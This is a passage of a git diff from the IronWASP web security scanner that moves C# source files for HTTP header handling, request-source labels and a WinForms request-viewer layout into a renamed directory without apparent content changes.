this.Request.UpdateCookieParametersWithoutUpdatingHeaders(SafeRaw(Value)); - } - - string ProcessName(string Name) - { - if (Name.Equals("Host", StringComparison.OrdinalIgnoreCase)) Name = "Host"; - if (Name.Equals("Content-Length", StringComparison.OrdinalIgnoreCase)) Name = "Content-Length"; - if (Name.Equals("Content-Type", StringComparison.OrdinalIgnoreCase)) Name = "Content-Type"; - if (Name.Equals("User-Agent", StringComparison.OrdinalIgnoreCase)) Name = "User-Agent"; - if (Name.Equals("Cookie", StringComparison.OrdinalIgnoreCase)) Name = "Cookie"; - return Name; - } - - new string SafeRaw(string Value) - { - return Tools.HeaderEncode(Value); - } - - new string Encode(string Value) - { - return Tools.HeaderEncode(Value); - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public class RequestHeaderParameters : HeaderParameters + { + Request Request; + internal RequestHeaderParameters(Request Request) : base() + { + this.Request = Request; + } + internal RequestHeaderParameters(Request Request, HeaderParameters RequestHeaders) : base(RequestHeaders) + { + this.Request = Request; + } + + public void RawSet(string Name, string Value) + { + Name = ProcessName(Name); + + base.Set(Name, Value); + if (Name.Equals("Cookie")) + { + this.ProcessUpdate(Value); + } + } + new public void Set(string Name, string Value) + { + this.RawSet(Encode(Name), Encode(Value)); + } + + public void RawSet(string Name, int Position, string Value) + { + Name = ProcessName(Name); + + base.Set(Name, Position, Value); + if (Name.Equals("Cookie")) + { + this.ProcessUpdate(Value); + } + } + new public void Set(string Name, int Position, string Value) + { + this.RawSet(Encode(Name), Position, Encode(Value)); + } + + public void RawSetAt(string Name, int Position, string Value) + { + this.RawSet(Name, Position, Value); + } + new public void SetAt(string Name, int Position, string Value) + { + this.Set(Name, Position, Value); + } + + public void RawSet(string Name, List Values) + { + Name = ProcessName(Name); + + if ((Name.Equals("Host") || Name.Equals("Content-Length") || Name.Equals("Content-Type") || Name.Equals("User-Agent") || Name.Equals("Cookie")) && (Values.Count > 1)) + { + throw new Exception("Hostname, Content-Length, Content-Type, User-Agent cannot take multiple entries, try Add(string Name, string Value)"); + } + else + { + base.Set(Name, Values); + } + } + new public void Set(string Name, List Values) + { + List Vals = new List(); + foreach (string Value in Values) + { + Vals.Add(Encode(Value)); + } + this.RawSet(Encode(Name), Vals); + } + + public void RawAdd(string Name, string Value) + { + Name = ProcessName(Name); + + if (Name.Equals("Host") || Name.Equals("Content-Length") || Name.Equals("Content-Type") || Name.Equals("User-Agent") || Name.Equals("Cookie")) + { + base.Set(Name, Value); + } + else + { + base.Add(Name, Value); + } + if (Name.Equals("Cookie")) + { + this.ProcessUpdate(Value); + } + } + new public void Add(string Name, string Value) + { + this.RawAdd(Encode(Name), Encode(Value)); + } + + public void RawRemove(string Name) + { + Name = ProcessName(Name); + if (Name == "Host") + { + return; + } + base.Remove(Name); + if (Name.Equals("Cookie")) + { + this.ProcessUpdate(""); + } + } + new public void Remove(string Name) + { + this.RawRemove(Encode(Name)); + } + + new public void RemoveAll() + { + string Host = ""; + if (this.Has("Host")) + { + Host = this.Get("Host"); + } + base.RemoveAll(); + this.Set("Host", Host); + this.ProcessUpdate(""); + } + internal string GetAsString() + { + return base.GetStringFromHeaders(); + } + + void ProcessUpdate(string Value) + { + this.Request.UpdateCookieParametersWithoutUpdatingHeaders(SafeRaw(Value)); + } + + string ProcessName(string Name) + { + if (Name.Equals("Host", StringComparison.OrdinalIgnoreCase)) Name = "Host"; + if (Name.Equals("Content-Length", StringComparison.OrdinalIgnoreCase)) Name = "Content-Length"; + if (Name.Equals("Content-Type", StringComparison.OrdinalIgnoreCase)) Name = "Content-Type"; + if (Name.Equals("User-Agent", StringComparison.OrdinalIgnoreCase)) Name = "User-Agent"; + if (Name.Equals("Cookie", StringComparison.OrdinalIgnoreCase)) Name = "Cookie"; + return Name; + } + + new string SafeRaw(string Value) + { + return Tools.HeaderEncode(Value); + } + + new string Encode(string Value) + { + return Tools.HeaderEncode(Value); + } + } +} diff --git a/IronWASP/RequestSource.cs b/Iron/RequestSource.cs similarity index 97% rename from IronWASP/RequestSource.cs rename to Iron/RequestSource.cs index 3681806..e28b59c 100644 --- a/IronWASP/RequestSource.cs +++ b/Iron/RequestSource.cs @@ -1,67 +1,67 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; -using System.Text.RegularExpressions; - -namespace IronWASP -{ - public static class RequestSource - { - static List BannedSources = new List { "Trigger", "TestGroup", "SelectedLogEntry", "CurrentProxyInterception" }; - static List InternalSources = new List { "Proxy" }; - - public const string Test = "Test"; - public const string Shell = "Shell"; - public const string Scan = "Scan"; - public const string Probe = "Probe"; - public const string Proxy = "Proxy"; - public const string Stealth = "Stealth"; - - internal const string Trigger = "Trigger"; - internal const string TestGroup = "TestGroup"; - internal const string SelectedLogEntry = "SelectedLogEntry"; - internal const string CurrentProxyInterception = "CurrentProxyInterception"; - - public static bool IsBanned(string EnteredSource) - { - if (BannedSources.Contains(EnteredSource)) - return true; - else - return false; - } - public static bool IsInternal(string EnteredSource) - { - if (InternalSources.Contains(EnteredSource)) - return true; - else - return false; - } - public static bool IsValid(string EnteredSource) - { - Regex R = new Regex("^[a-zA-Z]*$"); - if (EnteredSource.Length > 0 && R.IsMatch(EnteredSource)) - return true; - else - return false; - } - - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; +using System.Text.RegularExpressions; + +namespace IronWASP +{ + public static class RequestSource + { + static List BannedSources = new List { "Trigger", "TestGroup", "SelectedLogEntry", "CurrentProxyInterception" }; + static List InternalSources = new List { "Proxy" }; + + public const string Test = "Test"; + public const string Shell = "Shell"; + public const string Scan = "Scan"; + public const string Probe = "Probe"; + public const string Proxy = "Proxy"; + public const string Stealth = "Stealth"; + + internal const string Trigger = "Trigger"; + internal const string TestGroup = "TestGroup"; + internal const string SelectedLogEntry = "SelectedLogEntry"; + internal const string CurrentProxyInterception = "CurrentProxyInterception"; + + public static bool IsBanned(string EnteredSource) + { + if (BannedSources.Contains(EnteredSource)) + return true; + else + return false; + } + public static bool IsInternal(string EnteredSource) + { + if (InternalSources.Contains(EnteredSource)) + return true; + else + return false; + } + public static bool IsValid(string EnteredSource) + { + Regex R = new Regex("^[a-zA-Z]*$"); + if (EnteredSource.Length > 0 && R.IsMatch(EnteredSource)) + return true; + else + return false; + } + + } +} diff --git a/IronWASP/RequestView.Designer.cs b/Iron/RequestView.Designer.cs similarity index 84% rename from IronWASP/RequestView.Designer.cs rename to Iron/RequestView.Designer.cs index 8b32bc9..874d85a 100644 --- a/IronWASP/RequestView.Designer.cs +++ b/Iron/RequestView.Designer.cs @@ -1,821 +1,956 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -namespace IronWASP -{ - partial class RequestView - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Component Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(RequestView)); - this.BaseTabs = new System.Windows.Forms.TabControl(); - this.HeadersTab = new System.Windows.Forms.TabPage(); - this.HeadersTBP = new IronWASP.TextBoxPlus(); - this.BodyTab = new System.Windows.Forms.TabPage(); - this.BodyTBP = new IronWASP.TextBoxPlus(); - this.UrlPathPartsParametersTab = new System.Windows.Forms.TabPage(); - this.UrlPathPartsParametersGrid = new System.Windows.Forms.DataGridView(); - this.QueryParametersTab = new System.Windows.Forms.TabPage(); - this.QueryParametersGrid = new System.Windows.Forms.DataGridView(); - this.BodyParametersTab = new System.Windows.Forms.TabPage(); - this.BodyFormatLbl = new System.Windows.Forms.LinkLabel(); - this.BodyTabSplit = new System.Windows.Forms.SplitContainer(); - this.FormatPluginsGrid = new System.Windows.Forms.DataGridView(); - this.FormatPluginSelectColumn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); - this.FormatPluginNameColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.ScanBodyTabs = new System.Windows.Forms.TabControl(); - this.BodyTypeFormatPluginInjectionArrayGridTab = new System.Windows.Forms.TabPage(); - this.BodyParametersGrid = new System.Windows.Forms.DataGridView(); - this.dataGridViewTextBoxColumn3 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn4 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.Column1 = new System.Windows.Forms.DataGridViewImageColumn(); - this.BodyTypeFormatPluginXMLTab = new System.Windows.Forms.TabPage(); - this.FormatXmlBaseSplit = new System.Windows.Forms.SplitContainer(); - this.textBox2 = new System.Windows.Forms.TextBox(); - this.ConvertXmlToObjectBtn = new System.Windows.Forms.Button(); - this.FormatXmlTBP = new IronWASP.TextBoxPlus(); - this.CookieParametersTab = new System.Windows.Forms.TabPage(); - this.CookieParametersGrid = new System.Windows.Forms.DataGridView(); - this.HeadersParametersTab = new System.Windows.Forms.TabPage(); - this.HeadersParametersGrid = new System.Windows.Forms.DataGridView(); - this.HelpTab = new System.Windows.Forms.TabPage(); - this.HelpTB = new System.Windows.Forms.TextBox(); - this.EditingTab = new System.Windows.Forms.TabPage(); - this.SaveEditsLbl = new System.Windows.Forms.LinkLabel(); - this.EditTBP = new IronWASP.TextBoxPlus(); - this.UseSSLCB = new System.Windows.Forms.CheckBox(); - this.WaitProgressBar = new System.Windows.Forms.ProgressBar(); - this.StatusAndErrorTB = new System.Windows.Forms.TextBox(); - this.dataGridViewTextBoxColumn1 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn2 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.Column2 = new System.Windows.Forms.DataGridViewImageColumn(); - this.dataGridViewTextBoxColumn11 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn12 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewImageColumn2 = new System.Windows.Forms.DataGridViewImageColumn(); - this.dataGridViewTextBoxColumn7 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn8 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewImageColumn1 = new System.Windows.Forms.DataGridViewImageColumn(); - this.dataGridViewTextBoxColumn13 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewTextBoxColumn14 = new System.Windows.Forms.DataGridViewTextBoxColumn(); - this.dataGridViewImageColumn3 = new System.Windows.Forms.DataGridViewImageColumn(); - this.BaseTabs.SuspendLayout(); - this.HeadersTab.SuspendLayout(); - this.BodyTab.SuspendLayout(); - this.UrlPathPartsParametersTab.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.UrlPathPartsParametersGrid)).BeginInit(); - this.QueryParametersTab.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.QueryParametersGrid)).BeginInit(); - this.BodyParametersTab.SuspendLayout(); - this.BodyTabSplit.Panel1.SuspendLayout(); - this.BodyTabSplit.Panel2.SuspendLayout(); - this.BodyTabSplit.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.FormatPluginsGrid)).BeginInit(); - this.ScanBodyTabs.SuspendLayout(); - this.BodyTypeFormatPluginInjectionArrayGridTab.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.BodyParametersGrid)).BeginInit(); - this.BodyTypeFormatPluginXMLTab.SuspendLayout(); - this.FormatXmlBaseSplit.Panel1.SuspendLayout(); - this.FormatXmlBaseSplit.Panel2.SuspendLayout(); - this.FormatXmlBaseSplit.SuspendLayout(); - this.CookieParametersTab.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.CookieParametersGrid)).BeginInit(); - this.HeadersParametersTab.SuspendLayout(); - ((System.ComponentModel.ISupportInitialize)(this.HeadersParametersGrid)).BeginInit(); - this.HelpTab.SuspendLayout(); - this.EditingTab.SuspendLayout(); - this.SuspendLayout(); - // - // BaseTabs - // - this.BaseTabs.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.BaseTabs.Controls.Add(this.HeadersTab); - this.BaseTabs.Controls.Add(this.BodyTab); - this.BaseTabs.Controls.Add(this.UrlPathPartsParametersTab); - this.BaseTabs.Controls.Add(this.QueryParametersTab); - this.BaseTabs.Controls.Add(this.BodyParametersTab); - this.BaseTabs.Controls.Add(this.CookieParametersTab); - this.BaseTabs.Controls.Add(this.HeadersParametersTab); - this.BaseTabs.Controls.Add(this.HelpTab); - this.BaseTabs.Controls.Add(this.EditingTab); - this.BaseTabs.Location = new System.Drawing.Point(0, 20); - this.BaseTabs.Margin = new System.Windows.Forms.Padding(0); - this.BaseTabs.Name = "BaseTabs"; - this.BaseTabs.Padding = new System.Drawing.Point(0, 0); - this.BaseTabs.SelectedIndex = 0; - this.BaseTabs.Size = new System.Drawing.Size(682, 188); - this.BaseTabs.TabIndex = 1; - this.BaseTabs.Selecting += new System.Windows.Forms.TabControlCancelEventHandler(this.BaseTabs_Selecting); - this.BaseTabs.Deselecting += new System.Windows.Forms.TabControlCancelEventHandler(this.BaseTabs_Deselecting); - // - // HeadersTab - // - this.HeadersTab.Controls.Add(this.HeadersTBP); - this.HeadersTab.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.HeadersTab.Location = new System.Drawing.Point(4, 22); - this.HeadersTab.Margin = new System.Windows.Forms.Padding(0); - this.HeadersTab.Name = "HeadersTab"; - this.HeadersTab.Size = new System.Drawing.Size(674, 162); - this.HeadersTab.TabIndex = 0; - this.HeadersTab.Text = " Raw Headers "; - this.HeadersTab.UseVisualStyleBackColor = true; - // - // HeadersTBP - // - this.HeadersTBP.Dock = System.Windows.Forms.DockStyle.Fill; - this.HeadersTBP.Location = new System.Drawing.Point(0, 0); - this.HeadersTBP.Margin = new System.Windows.Forms.Padding(0); - this.HeadersTBP.Name = "HeadersTBP"; - this.HeadersTBP.ReadOnly = false; - this.HeadersTBP.Size = new System.Drawing.Size(674, 162); - this.HeadersTBP.TabIndex = 0; - this.HeadersTBP.ValueChanged += new IronWASP.TextBoxPlus.ValueChangedEvent(this.HeadersTBP_ValueChanged); - // - // BodyTab - // - this.BodyTab.Controls.Add(this.BodyTBP); - this.BodyTab.Location = new System.Drawing.Point(4, 22); - this.BodyTab.Name = "BodyTab"; - this.BodyTab.Size = new System.Drawing.Size(674, 162); - this.BodyTab.TabIndex = 3; - this.BodyTab.Text = " Raw Body "; - this.BodyTab.UseVisualStyleBackColor = true; - // - // BodyTBP - // - this.BodyTBP.Dock = System.Windows.Forms.DockStyle.Fill; - this.BodyTBP.Location = new System.Drawing.Point(0, 0); - this.BodyTBP.Margin = new System.Windows.Forms.Padding(0); - this.BodyTBP.Name = "BodyTBP"; - this.BodyTBP.ReadOnly = false; - this.BodyTBP.Size = new System.Drawing.Size(674, 162); - this.BodyTBP.TabIndex = 0; - this.BodyTBP.ValueChanged += new IronWASP.TextBoxPlus.ValueChangedEvent(this.BodyTBP_ValueChanged); - // - // UrlPathPartsParametersTab - // - this.UrlPathPartsParametersTab.Controls.Add(this.UrlPathPartsParametersGrid); - this.UrlPathPartsParametersTab.Location = new System.Drawing.Point(4, 22); - this.UrlPathPartsParametersTab.Name = "UrlPathPartsParametersTab"; - this.UrlPathPartsParametersTab.Size = new System.Drawing.Size(674, 162); - this.UrlPathPartsParametersTab.TabIndex = 6; - this.UrlPathPartsParametersTab.Text = " Url Path Parts "; - this.UrlPathPartsParametersTab.UseVisualStyleBackColor = true; - // - // UrlPathPartsParametersGrid - // - this.UrlPathPartsParametersGrid.AllowUserToAddRows = false; - this.UrlPathPartsParametersGrid.AllowUserToDeleteRows = false; - this.UrlPathPartsParametersGrid.AllowUserToResizeRows = false; - this.UrlPathPartsParametersGrid.BackgroundColor = System.Drawing.Color.White; - this.UrlPathPartsParametersGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.UrlPathPartsParametersGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.UrlPathPartsParametersGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.dataGridViewTextBoxColumn1, - this.dataGridViewTextBoxColumn2, - this.Column2}); - this.UrlPathPartsParametersGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.UrlPathPartsParametersGrid.GridColor = System.Drawing.Color.White; - this.UrlPathPartsParametersGrid.Location = new System.Drawing.Point(0, 0); - this.UrlPathPartsParametersGrid.Margin = new System.Windows.Forms.Padding(0); - this.UrlPathPartsParametersGrid.Name = "UrlPathPartsParametersGrid"; - this.UrlPathPartsParametersGrid.RowHeadersVisible = false; - this.UrlPathPartsParametersGrid.Size = new System.Drawing.Size(674, 162); - this.UrlPathPartsParametersGrid.TabIndex = 1; - this.UrlPathPartsParametersGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.UrlPathPartsParametersGrid_CellClick); - this.UrlPathPartsParametersGrid.CellValueChanged += new System.Windows.Forms.DataGridViewCellEventHandler(this.UrlPathPartsParametersGrid_CellValueChanged); - // - // QueryParametersTab - // - this.QueryParametersTab.Controls.Add(this.QueryParametersGrid); - this.QueryParametersTab.Location = new System.Drawing.Point(4, 22); - this.QueryParametersTab.Name = "QueryParametersTab"; - this.QueryParametersTab.Size = new System.Drawing.Size(674, 162); - this.QueryParametersTab.TabIndex = 7; - this.QueryParametersTab.Text = " Query "; - this.QueryParametersTab.UseVisualStyleBackColor = true; - // - // QueryParametersGrid - // - this.QueryParametersGrid.AllowUserToAddRows = false; - this.QueryParametersGrid.AllowUserToDeleteRows = false; - this.QueryParametersGrid.AllowUserToResizeRows = false; - this.QueryParametersGrid.BackgroundColor = System.Drawing.Color.White; - this.QueryParametersGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.QueryParametersGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.QueryParametersGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.dataGridViewTextBoxColumn7, - this.dataGridViewTextBoxColumn8, - this.dataGridViewImageColumn1}); - this.QueryParametersGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.QueryParametersGrid.GridColor = System.Drawing.Color.White; - this.QueryParametersGrid.Location = new System.Drawing.Point(0, 0); - this.QueryParametersGrid.Margin = new System.Windows.Forms.Padding(0); - this.QueryParametersGrid.Name = "QueryParametersGrid"; - this.QueryParametersGrid.RowHeadersVisible = false; - this.QueryParametersGrid.Size = new System.Drawing.Size(674, 162); - this.QueryParametersGrid.TabIndex = 0; - this.QueryParametersGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.QueryParametersGrid_CellClick); - this.QueryParametersGrid.CellValueChanged += new System.Windows.Forms.DataGridViewCellEventHandler(this.QueryParametersGrid_CellValueChanged); - // - // BodyParametersTab - // - this.BodyParametersTab.Controls.Add(this.BodyFormatLbl); - this.BodyParametersTab.Controls.Add(this.BodyTabSplit); - this.BodyParametersTab.Location = new System.Drawing.Point(4, 22); - this.BodyParametersTab.Name = "BodyParametersTab"; - this.BodyParametersTab.Size = new System.Drawing.Size(674, 162); - this.BodyParametersTab.TabIndex = 4; - this.BodyParametersTab.Text = " Body "; - this.BodyParametersTab.UseVisualStyleBackColor = true; - // - // BodyFormatLbl - // - this.BodyFormatLbl.AutoSize = true; - this.BodyFormatLbl.Location = new System.Drawing.Point(3, 2); - this.BodyFormatLbl.Name = "BodyFormatLbl"; - this.BodyFormatLbl.Size = new System.Drawing.Size(130, 13); - this.BodyFormatLbl.TabIndex = 9; - this.BodyFormatLbl.TabStop = true; - this.BodyFormatLbl.Text = "Hide Body Format Options"; - this.BodyFormatLbl.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.BodyFormatLbl_LinkClicked); - // - // BodyTabSplit - // - this.BodyTabSplit.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.BodyTabSplit.Location = new System.Drawing.Point(0, 17); - this.BodyTabSplit.Margin = new System.Windows.Forms.Padding(0); - this.BodyTabSplit.Name = "BodyTabSplit"; - // - // BodyTabSplit.Panel1 - // - this.BodyTabSplit.Panel1.Controls.Add(this.FormatPluginsGrid); - // - // BodyTabSplit.Panel2 - // - this.BodyTabSplit.Panel2.Controls.Add(this.ScanBodyTabs); - this.BodyTabSplit.Size = new System.Drawing.Size(674, 145); - this.BodyTabSplit.SplitterDistance = 102; - this.BodyTabSplit.SplitterWidth = 2; - this.BodyTabSplit.TabIndex = 0; - // - // FormatPluginsGrid - // - this.FormatPluginsGrid.AllowUserToAddRows = false; - this.FormatPluginsGrid.AllowUserToDeleteRows = false; - this.FormatPluginsGrid.AllowUserToResizeRows = false; - this.FormatPluginsGrid.BackgroundColor = System.Drawing.Color.White; - this.FormatPluginsGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.FormatPluginsGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.FormatPluginsGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.FormatPluginSelectColumn, - this.FormatPluginNameColumn}); - this.FormatPluginsGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.FormatPluginsGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; - this.FormatPluginsGrid.GridColor = System.Drawing.Color.White; - this.FormatPluginsGrid.Location = new System.Drawing.Point(0, 0); - this.FormatPluginsGrid.Margin = new System.Windows.Forms.Padding(0); - this.FormatPluginsGrid.MultiSelect = false; - this.FormatPluginsGrid.Name = "FormatPluginsGrid"; - this.FormatPluginsGrid.RowHeadersVisible = false; - this.FormatPluginsGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.FormatPluginsGrid.Size = new System.Drawing.Size(102, 145); - this.FormatPluginsGrid.TabIndex = 0; - this.FormatPluginsGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.FormatPluginsGrid_CellClick); - // - // FormatPluginSelectColumn - // - this.FormatPluginSelectColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.FormatPluginSelectColumn.HeaderText = ""; - this.FormatPluginSelectColumn.MinimumWidth = 20; - this.FormatPluginSelectColumn.Name = "FormatPluginSelectColumn"; - this.FormatPluginSelectColumn.Width = 20; - // - // FormatPluginNameColumn - // - this.FormatPluginNameColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.FormatPluginNameColumn.HeaderText = "Body Format"; - this.FormatPluginNameColumn.Name = "FormatPluginNameColumn"; - this.FormatPluginNameColumn.ReadOnly = true; - this.FormatPluginNameColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // ScanBodyTabs - // - this.ScanBodyTabs.Controls.Add(this.BodyTypeFormatPluginInjectionArrayGridTab); - this.ScanBodyTabs.Controls.Add(this.BodyTypeFormatPluginXMLTab); - this.ScanBodyTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.ScanBodyTabs.Location = new System.Drawing.Point(0, 0); - this.ScanBodyTabs.Margin = new System.Windows.Forms.Padding(0); - this.ScanBodyTabs.Multiline = true; - this.ScanBodyTabs.Name = "ScanBodyTabs"; - this.ScanBodyTabs.Padding = new System.Drawing.Point(0, 0); - this.ScanBodyTabs.SelectedIndex = 0; - this.ScanBodyTabs.Size = new System.Drawing.Size(570, 145); - this.ScanBodyTabs.TabIndex = 0; - this.ScanBodyTabs.Selecting += new System.Windows.Forms.TabControlCancelEventHandler(this.ScanBodyTabs_Selecting); - // - // BodyTypeFormatPluginInjectionArrayGridTab - // - this.BodyTypeFormatPluginInjectionArrayGridTab.Controls.Add(this.BodyParametersGrid); - this.BodyTypeFormatPluginInjectionArrayGridTab.Location = new System.Drawing.Point(4, 22); - this.BodyTypeFormatPluginInjectionArrayGridTab.Margin = new System.Windows.Forms.Padding(0); - this.BodyTypeFormatPluginInjectionArrayGridTab.Name = "BodyTypeFormatPluginInjectionArrayGridTab"; - this.BodyTypeFormatPluginInjectionArrayGridTab.Size = new System.Drawing.Size(562, 119); - this.BodyTypeFormatPluginInjectionArrayGridTab.TabIndex = 0; - this.BodyTypeFormatPluginInjectionArrayGridTab.Text = " Name/Value "; - this.BodyTypeFormatPluginInjectionArrayGridTab.UseVisualStyleBackColor = true; - // - // BodyParametersGrid - // - this.BodyParametersGrid.AllowUserToAddRows = false; - this.BodyParametersGrid.AllowUserToDeleteRows = false; - this.BodyParametersGrid.AllowUserToResizeRows = false; - this.BodyParametersGrid.BackgroundColor = System.Drawing.Color.White; - this.BodyParametersGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.BodyParametersGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.BodyParametersGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.dataGridViewTextBoxColumn3, - this.dataGridViewTextBoxColumn4, - this.Column1}); - this.BodyParametersGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.BodyParametersGrid.GridColor = System.Drawing.Color.White; - this.BodyParametersGrid.Location = new System.Drawing.Point(0, 0); - this.BodyParametersGrid.Margin = new System.Windows.Forms.Padding(0); - this.BodyParametersGrid.Name = "BodyParametersGrid"; - this.BodyParametersGrid.RowHeadersVisible = false; - this.BodyParametersGrid.Size = new System.Drawing.Size(562, 119); - this.BodyParametersGrid.TabIndex = 2; - this.BodyParametersGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.BodyParametersGrid_CellClick); - this.BodyParametersGrid.CellValueChanged += new System.Windows.Forms.DataGridViewCellEventHandler(this.BodyParametersGrid_CellValueChanged); - // - // dataGridViewTextBoxColumn3 - // - this.dataGridViewTextBoxColumn3.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn3.HeaderText = "NAME"; - this.dataGridViewTextBoxColumn3.Name = "dataGridViewTextBoxColumn3"; - this.dataGridViewTextBoxColumn3.ReadOnly = true; - // - // dataGridViewTextBoxColumn4 - // - this.dataGridViewTextBoxColumn4.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn4.HeaderText = "VALUE"; - this.dataGridViewTextBoxColumn4.Name = "dataGridViewTextBoxColumn4"; - // - // Column1 - // - this.Column1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.Column1.HeaderText = " "; - this.Column1.MinimumWidth = 20; - this.Column1.Name = "Column1"; - this.Column1.Width = 20; - // - // BodyTypeFormatPluginXMLTab - // - this.BodyTypeFormatPluginXMLTab.Controls.Add(this.FormatXmlBaseSplit); - this.BodyTypeFormatPluginXMLTab.Location = new System.Drawing.Point(4, 22); - this.BodyTypeFormatPluginXMLTab.Margin = new System.Windows.Forms.Padding(0); - this.BodyTypeFormatPluginXMLTab.Name = "BodyTypeFormatPluginXMLTab"; - this.BodyTypeFormatPluginXMLTab.Size = new System.Drawing.Size(192, 74); - 